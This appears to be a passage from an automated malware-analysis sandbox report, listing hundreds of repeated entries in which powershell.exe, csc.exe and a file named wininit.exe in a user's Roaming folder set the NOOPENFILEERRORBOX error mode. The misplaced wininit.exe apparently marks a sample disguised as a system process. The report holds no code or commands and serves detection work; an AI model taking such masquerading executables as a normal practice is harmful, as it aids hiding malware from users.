Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
